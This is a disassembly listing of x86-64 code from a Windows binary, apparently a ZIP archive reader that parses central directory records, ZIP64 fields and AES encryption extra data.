call fcn.140061a12
cmp dword [rdi], 0
jne 0x1400668b0
lea rdi, [rsp + 0x1f0]
mov esi, dword [rdi + 4]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a90
cmp qword [rdi], 0
jne 0x1400668b0
lea rdi, [rsp + 0x1f0]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a12
cmp dword [rdi], 0
jne 0x1400668b0
cmp esi, ebp
sete al
or byte [rsp + 0x80], al
mov ebp, 2
lea rax, [0x1404b81b7]
mov qword [rsp + 0x30], rax
mov r15d, 0x2f
je 0x1400676df
mov r12, rbx
lea rax, [0x1404b81e6]
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x7a0], 0x2f
mov qword [rsp + 0x790], 1
sub r12, 0x3c
jae 0x14006794a
mov ebp, 1
mov qword [rsp + 0x30], rax
jmp 0x1400676df
mov eax, 8
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], rdi
and qword [rsp + 0x168], 0
lea rbx, [rsp + 0x790]
mov rcx, rbx
call fcn.1402a9c8e
mov rcx, rbx
call fcn.140026fd9
mov rbx, rax
mov r15, rdx
lea r12, [rsp + 0x790]
mov edx, 0x20
mov rcx, r12
mov r8, rdi
call fcn.140061cf7
vmovdqu ymm0, ymmword [r12]
vmovdqu ymmword [rsp + 0xa0], ymm0
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], r15
mov qword [r12 + 8], r13
and qword [r12], 0
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x38]
lea r8, [rsp + 0x790]
mov rcx, rdi
vzeroupper
call fcn.140287db0
mov rsi, qword [rdi]
mov rcx, rdi
call fcn.1400258b5
xor eax, eax
cmp rsi, rax
je 0x140066a7b
mov ebp, 1
lea rax, [0x1404b8236]
mov qword [rsp + 0x30], rax
mov r15d, 0x2c
jmp 0x1400676c5
lea rax, [0x1404b8129]
mov qword [rsp + 0x30], rax
lea rax, [0x140603103]
mov qword [rsp + 0x170], rax
lea rax, [0x1404b8164]
mov qword [rsp + 0x98], rax
xor eax, eax
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
cmp rax, qword [rsp + 0x40]
je 0x140067732
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140105518
cmp qword [rsp + 0x790], 0
jne 0x1400676b6
mov rax, qword [rsp + 0x798]
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x1400676b6
cmp dword [rsp + 0x794], 0x2014b50
jne 0x1400677fe
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx eax, word [rsp + 0x792]
mov dword [rsp + 0x128], eax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx eax, word [rsp + 0x792]
mov dword [rsp + 0x80], eax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx eax, word [rsp + 0x792]
mov word [rsp + 0x78], ax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx r12d, word [rsp + 0x792]
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx ebp, word [rsp + 0x792]
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x1400676b6
mov eax, dword [rsp + 0x794]
mov dword [rsp + 0x1b8], eax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x1400676b6
mov eax, dword [rsp + 0x794]
mov qword [rsp + 0x188], rax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x1400676b6
mov eax, dword [rsp + 0x794]
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx r13d, word [rsp + 0x792]
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx edi, word [rsp + 0x792]
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
movzx ebx, word [rsp + 0x792]
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061982
cmp word [rsp + 0x790], 0
jne 0x1400676b6
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x1400676b6
mov eax, dword [rsp + 0x794]
mov dword [rsp + 0x1a8], eax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x38]
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x1400676b6
mov eax, dword [rsp + 0x794]
mov qword [rsp + 0x1a0], rax
mov rsi, r13
mov rcx, r13
mov dl, 1
call fcn.14012debe
mov qword [rsp + 0x180], rdx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x110], rax
mov rdx, rax
mov r8, r13
call fcn.1402a4def
test rax, rax
jne 0x14006783c
mov rcx, rdi
mov dl, 1
call fcn.14012debe
mov qword [rsp + 0x178], rdx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x120], rax
mov rdx, rax
mov r8, rdi
call fcn.1402a4def
test rax, rax
jne 0x14006784b
mov rcx, rbx
mov dl, 1
call fcn.14012debe
mov qword [rsp + 0x118], rdx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x100], rax
mov rdx, rax
mov r8, rbx
call fcn.1402a4def
mov qword [rsp + 0x1d8], rax
test rax, rax
jne 0x14006785a
bt dword [rsp + 0x80], 0xb
jb 0x140066ee1
lea rsi, [rsp + 0x790]
mov rcx, rsi
mov rdx, qword [rsp + 0x110]
mov r8, r13
call fcn.14029f69a
lea rcx, [rsp + 0x140]
mov rdx, rsi
call fcn.1402df88a
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x790], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x7a0], rbx
lea rcx, [rsp + 0xe0]
mov rdx, rsi
call fcn.1402df88a
jmp 0x140066f2f
lea rsi, [rsp + 0x790]
mov rcx, rsi
mov rdx, qword [rsp + 0x110]
mov r8, r13
call fcn.1400a9f40
lea rcx, [rsp + 0x140]
mov rdx, rsi
call fcn.1400b2a6a
mov rcx, rsi
mov rdx, qword [rsp + 0x100]
mov r8, rbx
call fcn.1400a9f40
lea rcx, [rsp + 0xe0]
mov rdx, rsi
call fcn.1400b2a6a
movzx edx, word [rsp + 0x78]
mov eax, dword [rsp + 0x128]
shr eax, 8
cmp al, 3
sete cl
mov r8b, 4
sub r8b, cl
test al, al
movzx eax, r8b
mov ecx, 0
cmove eax, ecx
cmp edx, 0x63
je 0x140066f77
cmp edx, 8
je 0x140066f7d
cmp edx, 0xc
je 0x140066f83
cmp edx, 0x5d
je 0x140066f89
mov cx, 5
test edx, edx
jne 0x140066f8d
xor ecx, ecx
jmp 0x140066f8d
mov cx, 3
jmp 0x140066f8d
mov cx, 1
jmp 0x140066f8d
mov cx, 2
jmp 0x140066f8d
mov cx, 4
mov r8d, r12d
shr r8d, 5
mov edx, r12d
shr edx, 0xb
and r8d, 0x3f
and r12d, 0x1f
shl r12, 0x31
shl r8, 0x28
or r8, r12
mov r9d, ebp
shl rdx, 0x20
or rdx, r8
mov r8d, ebp
and ebp, 0x1f
shl rbp, 0x18
or rbp, rdx
shr r9d, 5
and r9d, 0xf
shl r9, 0x10
or r9, rbp
shr r8d, 9
lea rdx, [r8 + r9]
add rdx, 0x7bc
mov byte [rsp + 0x839], al
mov eax, dword [rsp + 0x128]
mov byte [rsp + 0x83a], al
mov r8d, dword [rsp + 0x80]
mov eax, r8d
and al, 1
mov byte [rsp + 0x836], al
mov eax, r8d
shr al, 3
and al, 1
mov byte [rsp + 0x837], al
mov word [rsp + 0x828], cx
movzx eax, word [rsp + 0x78]
mov word [rsp + 0x82a], ax
and dword [rsp + 0x790], 0
mov qword [rsp + 0x7f8], rdx
mov eax, dword [rsp + 0x1b8]
mov dword [rsp + 0x82c], eax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x800], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x808], rax
mov rax, qword [rsp + 0x150]
lea rcx, [rsp + 0x798]
mov qword [rcx + 0x10], rax
vmovups xmm0, xmmword [rsp + 0x140]
vmovups xmmword [rcx], xmm0
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x7b0], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x7b8], rax
mov qword [rsp + 0x7c0], r13
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x7c8], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], rdi
mov rax, qword [rsp + 0xf0]
mov qword [rcx + 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0xe0]
vmovdqu xmmword [rcx + 0x48], xmm0
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x810], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x818], rax
inc qword [rsp + 0x198]
and qword [rsp + 0x820], 0
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0x830], eax
mov byte [rsp + 0x838], 0
mov byte [rsp + 0x835], 2
lea rax, [rsp + 0x7c8]
mov qword [rsp + 0x130], rax
and qword [rsp + 0x138], 0
xor ebx, ebx
cmp rbx, rdi
jae 0x14006740a
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e09d0
cmp word [rsp + 0x68], 0
jne 0x1400673f0
movzx esi, word [rsp + 0x6a]
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e09d0
cmp word [rsp + 0x68], 0
jne 0x1400673f0
movzx ebx, word [rsp + 0x6a]
cmp esi, 1
je 0x14006728b
cmp esi, 0x9901
jne 0x140067355
cmp ebx, 7
jne 0x14006780e
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e09d0
cmp word [rsp + 0x68], 0
jne 0x1400673f0
movzx esi, word [rsp + 0x6a]
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e09d0
cmp word [rsp + 0x68], 0
jne 0x1400673f0
movzx edi, word [rsp + 0x6a]
mov byte [rsp + 0x68], 0
mov r8d, 1
lea rcx, [rsp + 0x130]
lea rdx, [rsp + 0x68]
call fcn.1402df5dc
test rax, rax
jne 0x1400673f5
mov bl, byte [rsp + 0x68]
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e09d0
cmp word [rsp + 0x68], 0
jne 0x1400673f0
mov ebp, 1
cmp di, 0x4541
jne 0x14006781e
movzx eax, word [rsp + 0x6a]
cmp esi, 1
je 0x140067364
cmp esi, 2
jne 0x14006788f
mov cl, 1
jmp 0x140067366
mov eax, 0xffffffff
cmp qword [rsp + 0x808], rax
jne 0x1400672d1
mov byte [rsp + 0x838], 1
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e0a1a
cmp qword [rsp + 0x68], 0
jne 0x1400673f0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x808], rax
add rbx, 0xfffffffffffffff8
mov eax, 0xffffffff
cmp qword [rsp + 0x800], rax
jne 0x140067317
mov byte [rsp + 0x838], 1
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e0a1a
cmp qword [rsp + 0x68], 0
jne 0x1400673f0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x800], rax
add rbx, 0xfffffffffffffff8
mov eax, 0xffffffff
cmp qword [rsp + 0x810], rax
jne 0x140067355
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x130]
call fcn.1402e0a1a
cmp qword [rsp + 0x68], 0
jne 0x1400673f0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x810], rax
add rbx, 0xfffffffffffffff8
test rbx, rbx
jg 0x1400673cd
mov rbx, qword [rsp + 0x138]
jmp 0x1400673e3
xor ecx, ecx
dec bl
cmp bl, 2
ja 0x14006782d
movzx edx, ax
mov byte [rsp + 0x834], bl
mov byte [rsp + 0x835], cl
cmp edx, 0x63
je 0x1400673a2
cmp edx, 8
je 0x1400673a8
cmp edx, 0xc
je 0x1400673ae
cmp edx, 0x5d
je 0x1400673b4
mov cx, 5
test edx, edx
jne 0x1400673b8
xor ecx, ecx
jmp 0x1400673b8
mov cx, 3
jmp 0x1400673b8
mov cx, 1
jmp 0x1400673b8
mov cx, 2
jmp 0x1400673b8
mov cx, 4
mov word [rsp + 0x828], cx
mov word [rsp + 0x82a], ax
mov ebx, 7
add rbx, qword [rsp + 0x138]
jb 0x14006768a
mov qword [rsp + 0x138], rbx
mov rdi, qword [rsp + 0x7d8]
jmp 0x140067162
mov rax, qword [rsp + 0x70]
and qword [rsp + 0x50], 0
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x50]
call fcn.140022d12
cmp word [rsp + 0x828], 3
mov ebp, 1
jne 0x140067428
cmp byte [rsp + 0x835], 2
je 0x14006786e
mov rsi, qword [rsp + 0x810]
lea rax, [0x1404b8149]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0x1b
mov qword [rsp + 0x50], 1
add rsi, qword [rsp + 0x48]
jb 0x140067876
lea rcx, [rsp + 0x50]
call fcn.140022d12
mov qword [rsp + 0x810], rsi
mov edi, dword [rsp + 0x790]
mov ebx, dword [rsp + 0x794]
mov rbp, qword [rsp + 0x798]
mov rsi, qword [rsp + 0x7a0]
mov r15, qword [rsp + 0x7a8]
mov r8d, 0x90
lea rcx, [rsp + 0x4d0]
lea rdx, [rsp + 0x7b0]
call sub.msvcrt.dll_memcpy
bt dword [rsp + 0x80], 0xb
jae 0x1400674cc
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x118]
call fcn.1400d33bf
cmp edi, 2
je 0x140067885
mov r8d, 0x90
lea rcx, [rsp + 0x210]
lea r12, [rsp + 0x4d0]
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0x1f0], edi
mov dword [rsp + 0x1f4], ebx
mov qword [rsp + 0x1f8], rbp
mov qword [rsp + 0x200], rsi
mov qword [rsp + 0x208], r15
mov rcx, r12
lea rdx, [rsp + 0x1f8]
call fcn.1400aad50
mov rbx, qword [rsp + 0x168]
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0x4d0]
mov r9, qword [rsp + 0x4e0]
call fcn.1402a0e03
mov rdi, rax
mov qword [rsp + 0x50], r12
cmp qword [rsp + 0xb0], 0
je 0x14006769c
lea rax, [rsp + 0x50]
mov qword [rsp + 0x790], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x798], rax
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
lea rax, [0x1400629f4]
mov qword [rsp + 0x20], rax
mov r8, rdi
lea r9, [rsp + 0x790]
call fcn.140061df8
test rax, rax
je 0x140067647
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x7a0], rax
vmovups xmm0, xmmword [rsp + 0x4d0]
vmovaps xmmword [rsp + 0x790], xmm0
mov rax, qword [rsp + 0xa0]
movzx ecx, byte [rax + rdx]
and ecx, 1
sub qword [rsp + 0xb0], rcx
shr rdi, 0x39
lea rcx, [rdx - 0x10]
and rcx, qword [rsp + 0xa8]
mov byte [rax + rdx], dil
mov byte [rcx + rax + 0x10], dil
inc qword [rsp + 0xb8]
shl rdx, 5
mov rcx, rax
sub rcx, rdx
mov r8, qword [rsp + 0x7a0]
mov qword [rcx - 0x10], r8
vmovdqa xmm0, xmmword [rsp + 0x790]
vmovdqu xmmword [rcx - 0x20], xmm0
neg rdx
mov qword [rax + rdx - 8], rbx
jmp 0x140067670
mov rax, qword [rsp + 0xa0]
shl rdx, 5
neg rdx
mov qword [rax + rdx - 8], rbx
mov rcx, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x4d8]
call fcn.1400d33bf
lea rcx, [rsp + 0x158]
lea rdx, [rsp + 0x1f0]
call fcn.14002ad92
jmp 0x140066aaf
and qword [rsp + 0x50], 0
lea rax, str.invalid_seek_to_a_negative_or_overflowing_position
jmp 0x1400673fb
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0xc0]
call fcn.1400622a4
jmp 0x14006756d
mov rax, qword [rsp + 0x798]
mov qword [rsp + 0x30], rax
xor ebp, ebp
lea rcx, [rsp + 0xa0]
call fcn.1402df7d1
lea rcx, [rsp + 0x158]
call fcn.140025329
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x108]
call fcn.1400d33bf
lea r13, [rsp + 0x1f0]
mov rsi, qword [rsp + 0x30]
jmp 0x140065790
lea rcx, [rsp + 0x790]
mov qword [rcx], 1
lea rax, [0x1404b8300]
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], 0x2e
call fcn.140022d12
jmp 0x1400667f2
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x7a0], rax
vmovups xmm0, xmmword [rsp + 0x158]
vmovaps xmmword [rsp + 0x790], xmm0
vmovups ymm0, ymmword [rsp + 0xa0]
vmovups ymm1, ymmword [rsp + 0xb0]
vmovups ymmword [rsp + 0x7a8], ymm0
vmovups ymmword [rsp + 0x7b8], ymm1
mov ecx, 0x78
mov edx, 8
vzeroupper
call fcn.14002b2c7
mov rsi, rax
mov eax, 1
mov qword [rsi], rax
mov qword [rsi + 8], rax
vmovdqu ymm0, ymmword [rsp + 0x790]
vmovups ymm1, ymmword [rsp + 0x7b0]
vmovdqu ymmword [rsi + 0x10], ymm0
vmovups ymmword [rsi + 0x30], ymm1
mov rax, qword [rsp + 0x7d0]
mov qword [rsi + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsi + 0x58], rax
mov rax, qword [rsp + 0x108]
mov qword [rsi + 0x60], rax
mov rax, qword [rsp + 0x88]
mov qword [rsi + 0x68], rax
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x70], rax
mov r15, r14
lea r13, [rsp + 0x1f0]
jmp 0x1400657a2
mov ebp, 1
mov r15d, 0x20
jmp 0x1400676c5
mov ebp, 2
mov r15d, 0x2e
jmp 0x1400678a4
mov r15d, 0x12
lea rax, [0x1406030f1]
jmp 0x14006789c
mov r15d, 0x1f
lea rax, str.Invalid_AES_encryption_strengthInvalid_AES_vendor_versionInvalid_AES_vendorAES_extra_data_field_has_an_unsupported_lengthInvalid_reader_state
jmp 0x14006789c
xor ebp, ebp
mov qword [rsp + 0x98], rax
jmp 0x140067923
xor ebp, ebp
mov qword [rsp + 0x98], rax
jmp 0x14006790e
xor ebp, ebp
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x98], rax
jmp 0x1400678dd
mov r15d, 0x2b
jmp 0x1400678b4
mov r15d, 0x1b
lea rax, [0x1404b8149]
jmp 0x1400678ac
mov qword [rsp + 0x30], rsi
jmp 0x1400676c5
mov r15d, 0x1a
lea rax, [0x1406030d7]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x790]
call fcn.1400230d0
bt dword [rsp + 0x80], 0xb
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rax
jae 0x1400676c5
mov rcx, qword [rsp + 0x100]
mov rdx, qword [rsp + 0x118]
call fcn.1400d33bf
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x1d8], 0
je 0x1400676c5
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x178]
call fcn.1400d33bf
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x180]
call fcn.1400d33bf
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x30], rax
jmp 0x1400676c5
lea rdi, [rsp + 0x790]
mov rcx, rdi
call fcn.140022d12
lea r13, [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
cmp rsi, r12
ja 0x1400679c3
mov qword [rsp + 0x798], rsi
and qword [rsp + 0x790], 0
lea rcx, [rsp + 0x1f0]
mov rdx, r13
mov r8, rdi
call fcn.140287db0
cmp qword [rsp + 0x1f0], 0
jne 0x1400679df
mov rcx, rdi
mov rdx, r13
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x140067afe
cmp dword [rsp + 0x794], 0x6064b50
je 0x1400679ec
inc rsi
jmp 0x140067964
mov r15d, 0x2a
lea rax, [0x1404b82d6]
mov qword [rsp + 0x30], rax
mov ebp, 1
jmp 0x1400676df
mov rax, qword [rsp + 0x1f8]
jmp 0x140067b06
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a90
cmp qword [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061982
cmp word [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061982
cmp word [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a12
cmp dword [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
mov r12d, dword [rdi + 4]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a12
cmp dword [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
mov r13d, dword [rdi + 4]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a90
cmp qword [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a90
cmp qword [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
mov rax, qword [rdi + 8]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a90
cmp qword [rdi], 0
jne 0x140067afe
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a90
cmp qword [rdi], 0
je 0x140067b18
mov rax, qword [rsp + 0x798]
mov qword [rsp + 0x30], rax
xor ebp, ebp
mov r15d, 0x2a
jmp 0x1400676df
cmp r12d, r13d
jne 0x1400676df
sub rsi, qword [rsp + 0x48]
mov r13, qword [rsp + 0x798]
lea rax, [0x1404b818f]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x7a0], 0x28
mov qword [rsp + 0x790], 1
mov qword [rsp + 0x48], rsi
add r13, rsi
jae 0x14006683d
mov r15d, 0x28
jmp 0x1400679d5